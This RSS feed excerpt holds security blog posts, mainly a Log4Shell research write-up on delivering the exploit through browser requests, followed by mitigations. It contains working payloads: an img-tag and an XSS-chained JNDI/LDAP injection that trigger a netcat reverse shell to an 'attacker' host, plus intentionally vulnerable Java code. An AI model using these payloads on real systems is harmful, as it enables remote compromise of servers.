attacker.</blockquote><blockquote>Then at that point if the user is tricked into clicking the link other URL reputation/vetting mechanisms will kick in.</blockquote><blockquote>In this case this would not be considered for immediate security servicing.</blockquote><p>Doesn’t that sound quite familiar? Aren’t current phishing waves behaving exactly the same way, tricking a user to click on a link? And aren’t they successful?</p><p>Of course other reputation/vetting mechanisms <em>may </em>kick in, and hopefully do! But malicious links first need to be known bad ones before they can be actively blocked. Features like Microsoft Defender for Office 365&#39;s <a href="https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/safe-links?view=o365-worldwide">Safe Links</a> don’t see the URL and thus cannot react on it. And even sandboxes opening the Excel spreadsheet may not trigger the URL, if they are not (virtually) clicking it as part of their interaction.</p><p>I personally am a fan of blocking attacks as soon as possible, even those that require user interaction. Therefore my expectation is that security vendors also handle this kind of attack.</p><h3>And what about LibreOffice?</h3><p>Interestingly when opening the PoC .xlsx file with LibreOffice Calc it will also work, with one difference: While you only have to point and click on the link in Excel, with LibreOffice you need to point and <strong>Ctrl-click</strong> it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*kF0mYJ1GF1MIO0Smcvrfdw.png" /><figcaption>Figure 3: Excel PoC opened in LibreOffice Calc (Linux)</figcaption></figure><p>This at least adds a little more protection against accidental clicking, but nothing more.</p><p>When you create the same spreadsheet directly in LibreOffice Calc and store it in its native .ods file format you even don’t get the usual blue and underlined formatting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*hgjKAYAhSBG1zh8iQ_0f7Q.png" /><figcaption>Figure 4: PoC in LibreOffice’s native .ods format</figcaption></figure><p>Nevertheless, Ctrl-click works also here.</p><p>Take care and stay secure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a61560bed504" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Musings about further Log4Shell Attack Vectors]]></title>
            <link>https://medium.com/@spoppi/musings-about-further-log4shell-attack-vectors-b9599206ef4a?source=rss-3452e07baf63------2</link>
            <guid isPermaLink="false">https://medium.com/p/b9599206ef4a</guid>
            <category><![CDATA[web-attack]]></category>
            <category><![CDATA[log4j-vulnerability]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[log4shell]]></category>
            <dc:creator><![CDATA[Sandro Poppi]]></dc:creator>
            <pubDate>Tue, 28 Dec 2021 17:53:05 GMT</pubDate>
            <atom:updated>2021-12-29T09:49:26.578Z</atom:updated>
            <content:encoded><![CDATA[<p>A post from the folks at <a href="https://www.blumira.com/analysis-log4shell-local-trigger/">Blumira</a> caught my attention as they state that web sockets are another attack vector for the infamous log4j vulnerability <a href="https://en.wikipedia.org/wiki/Log4Shell">CVE-2021-44228</a> whereby it extends the attack surface to even internal systems.</p><p>While their attack works as described, I was wondering if there’s more to it than web sockets — and there is 😉</p><p>For details on the log4j exploit itself, please see <a href="https://www.lunasec.io/docs/blog/log4j-zero-day/">Lunasec’s post</a>.</p><h3>Blumira Web Sockets Attack Recap</h3><p>Simply put the attack makes use of the web socket scheme ws:// or the encrypted variant wss:// instead of http:// or https:// respectively. It doesn’t allow for http headers though, so web sockets cannot be used for vulnerable log4j applications logging http headers. But when an application has a vulnerable http parameter web sockets can be used.</p><p>Citing Blumira’s post:</p><blockquote>WebSockets are not restricted by same-origin policies like a normal cross-domain HTTP request and they expect the server itself to validate the Origin of the request. While they are useful, they also introduce a fair amount of risk as they do not include many security controls to limit their utilization.</blockquote><h3>Simplyfied Attack Vectors</h3><p>The citation above is a little misleading in this case. Same-Origin Policy (<a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">SOP</a>) and Cross-Origin Resource Sharing (<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">CORS</a>) are security features built into modern browsers with the aim to restrict access to remote resources not explicitly allowed to be accessed. Most requests which provide added value from an attacker’s perspective require a so-called <a href="https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request">CORS preflight request</a> which is a preliminary http OPTIONS request prior to sending the final request. But certain requests are still allowed without a preflight one. Mozilla calls them <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests"><em>simple requests</em></a>.</p><p>The bad thing about the Log4Shell attack is that it normally only requires a single http GET or POST request. So SOP and CORS don’t help here as long as the requirements for a <em>simple request</em> are satisfied. This also restricts the attack so you won’t be able to set custom http headers as these would require a CORS preflight. And therefore the web socket attack vector is “just” another way to send such a request, but it’s a nice one.</p><p>This means it all comes down to send one malicious request to a vulnerable service — and this can be done in html in various ways, e.g.:</p><ul><li>Use html tags like &lt;img src=…&gt;, &lt;embed src=…&gt;, &lt;iframe src=…&gt;, …</li><li>Use JavaScript’s XMLHttpRequest or Fetch API<br>but remember there’s no custom header allowed here</li></ul><p>When using simple html tags like &lt;img src=…&gt; you have to already know the final URL while when using JavaScript one can implement e.g. a wordlist-based URL scanner to find vulnerable services. These services may be internet-facing applications but also within a corporate intranet which makes this vector more interesting for adversaries.</p><h3>PoC Setup Overview</h3><p>For the PoC’s below I used the following setup:</p><h4>Virtual machines based on <a href="https://www.kali.org/">kali linux</a></h4><ul><li>An attacker box for providing the website, a malicious LDAP server and a netcat listener for reverse shell payload</li><li>A server running the vulnerable application</li></ul><h4>Adjusted christophetd’s <a href="https://github.com/christophetd/log4shell-vulnerable-app">vulnerable app</a></h4><ul><li>I simply added a request parameter vulnerable to Log4Shell (and XSS) to MainController.java and rebuilt the docker container:</li></ul><pre>public class MainController {</pre><pre>private static final Logger logger = LogManager.getLogger(&quot;HelloWorld&quot;);</pre><pre><a href="http://twitter.com/GetMapping">@GetMapping</a>(&quot;/&quot;)<br>    public String index(<a href="http://twitter.com/RequestHeader">@RequestHeader</a>(&quot;X-Api-Version&quot;) String apiVersion) {<br>        logger.info(&quot;Received a request for API version &quot; + apiVersion);<br>        return &quot;Hello, world!&quot;;<br>    }</pre><pre><a href="http://twitter.com/GetMapping"><strong>@GetMapping</strong></a><strong>(&quot;/spoppi&quot;)<br>    public String getUser(</strong><a href="http://twitter.com/RequestParam"><strong>@RequestParam</strong></a><strong>(name = &quot;username&quot;) String username) {<br>        logger.info(&quot;Received a request for username &quot; + username);<br>        return &quot;Hello, &quot; + username; // also XSS ;)<br>    }</strong></pre><pre>}</pre><h4>Malicious LDAP server based on JNDIExploit</h4><ul><li>Download <a href="https://web.archive.org/web/20211211031401if_/https://objects.githubusercontent.com/github-production-release-asset-2e65be/314785055/a6f05000-9563-11eb-9a61-aa85eca37c76?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20211211%2Fus-east-1%2Fs3%2Faws4_request&amp;X-Amz-Date=20211211T031401Z&amp;X-Amz-Expires=300&amp;X-Amz-Signature=140e57e1827c6f42275aa5cb706fdff6dc6a02f69ef41e73769ea749db582ce0&amp;X-Amz-SignedHeaders=host&amp;actor_id=0&amp;key_id=0&amp;repo_id=314785055&amp;response-content-disposition=attachment%3B%20filename%3DJNDIExploit.v1.2.zip&amp;response-content-type=application%2Foctet-stream">JNDIExploit.v1.2.zip</a> from the Wayback Machine as it’s no longer available on GitHub directly. It provides the required malicious LDAP service.</li></ul><p>The attack workflow looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WfApKQY4sp7-DCTew-duig.png" /><figcaption>Figure: Attack Workflow</figcaption></figure><h3>PoC using GET request via &lt;img&gt; tag</h3><p>As already stated above we’re only using a single http GET request via<br>&lt;img src=…&gt;. This is the same request like the web socket one described by Blumira but using http or https instead.</p><p>Find below the simple web page for creating the GET request via the img tag. This html file is stored on the attacker’s web server, and the user needs to be tricked to open it e.g. using phishing, drive-by or similar means.</p><pre>&lt;html&gt; <br>&lt;body&gt; <br> <br>&lt;title&gt;log4j test img&lt;/title&gt; <br>&lt;h1&gt;log4j test img&lt;/h1&gt; <br><strong>&lt;img src=&quot;http://target:8080/spoppi?username=$%7bjndi:ldap://attacker:1389/Basic/Command/Base64<br>/L3Vzci9iaW4vbmMgYXR0YWNrZXIgMTIzNCAtZSAvYmluL3NoICAK%7d&quot;&gt;</strong> <br>&lt;/script&gt; <br>&lt;/body&gt; <br>&lt;/html&gt;</pre><p>When the user opens this web page the browser triggers the GET request without being stopped by any browser security features. Here we fire a simple netcat-based reverse shell using the base64 encoded command:</p><pre>/usr/bin/nc attacker 1234 -e /bin/sh</pre><p>See this PoC in action below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6soVW4k5NHmGsf68YUnpxQ.gif" /><figcaption>Figure: PoC Screencast</figcaption></figure><h3>PoC using XMLHttpRequest chained with Cross Site Scripting to also attack via http header</h3><p>Since the application’s parameter username is additionally vulnerable to <a href="https://en.wikipedia.org/wiki/Cross-site_scripting">Cross-Site Scripting</a> we can chain this to make use of the vulnerable X-Api-Version http header. All it requires is to lure the attacked user to open the following link:</p><pre><a href="http://target:8080/spoppi?username=%3Cscript%3Evar%20xhr%20=%20new%20XMLHttpRequest();xhr.open(%22GET%22,%20%22http://target:8080/%22);xhr.setRequestHeader(%27X-Api-Version%27,%20%22$%7bjndi:ldap://attacker:1389/Basic/Command/Base64/L3Vzci9iaW4vbmMgYXR0YWNrZXIgMTIzNCAtZSAvYmluL3NoICAK%7d%22);xhr.send();%3C/script%3E"><strong>http://target:8080/spoppi?username=%3Cscript%3Evar%20xhr%20=%20new%20XMLHttpRequest();xhr.open(%22GET%22,%20%22http://target:8080/%22);xhr.setRequestHeader(%27X-Api-Version%27,%20%22$%7bjndi:ldap://attacker:1389/Basic/Command/Base64/L3Vzci9iaW4vbmMgYXR0YWNrZXIgMTIzNCAtZSAvYmluL3NoICAK%7d%22);xhr.send();%3C/script%3E</strong></a></pre><p>This way we work around CORS protection because the injected script is coming directly from the attacked application from the browser’s perspective.</p><h3>Does this all pose significantly higher risks?</h3><p>To answer this question we have to consider two cases:</p><h4>Internet-facing applications</h4><p>For exposed internet-facing vulnerable applications there’s no additional risk as these apps are already being directly attacked and probably compromised if not patched yet.<br>The only thing that changes with the described scenario is that attackers can hide the initial attack behind normal users at the cost of efficiency. There are easier ways to do the attacks on internet applications.</p><h4>Corporate intranet applications</h4><p>When it comes to applications run on a corporate intranet the picture changes. As these applications normally are not internet-facing they can’t be directly attacked. With the above scenario there is a possibility that these internal apps may get compromised, especially as the priority is concentrated on patching internet-facing applications first.</p><p>Of course there are some prerequisites for this indirect attack vector:</p><ul><li>An internal user can be lured to open the attacker’s web page.</li><li>The attack vector only requires the so-called <em>simple requests</em> to omit CORS preflight. Therefore http header based attacks can’t be executed this way.</li><li>The application’s vulnerable URL including the hostname or ip address can be found via scanning or is already known.</li><li>The vulnerable application can access the attacker-controlled service to load the malicious Java class.</li></ul><p>So yes, there is a potentially higher risk for internal applications when all of the above prerequisites are met.</p><h3>Mitigations</h3><ol><li>As can be read everywhere: Patch any application using Apache log4j 2.x to at least version 2.17.1 or remove the JndiLookup.class from the jar as a temporary fix.</li><li>Make your proxy and firewall filter jndi links in and outbound including obfuscated formats. Optionally set up alerts to get a better visibility when your company and users are being attacked.</li><li>Check your AV vendor’s ability to block this kind of attack on the endpoint.</li><li>For further mitigation details see Lunasec’s <a href="https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/">mitigation guide</a>.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9599206ef4a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>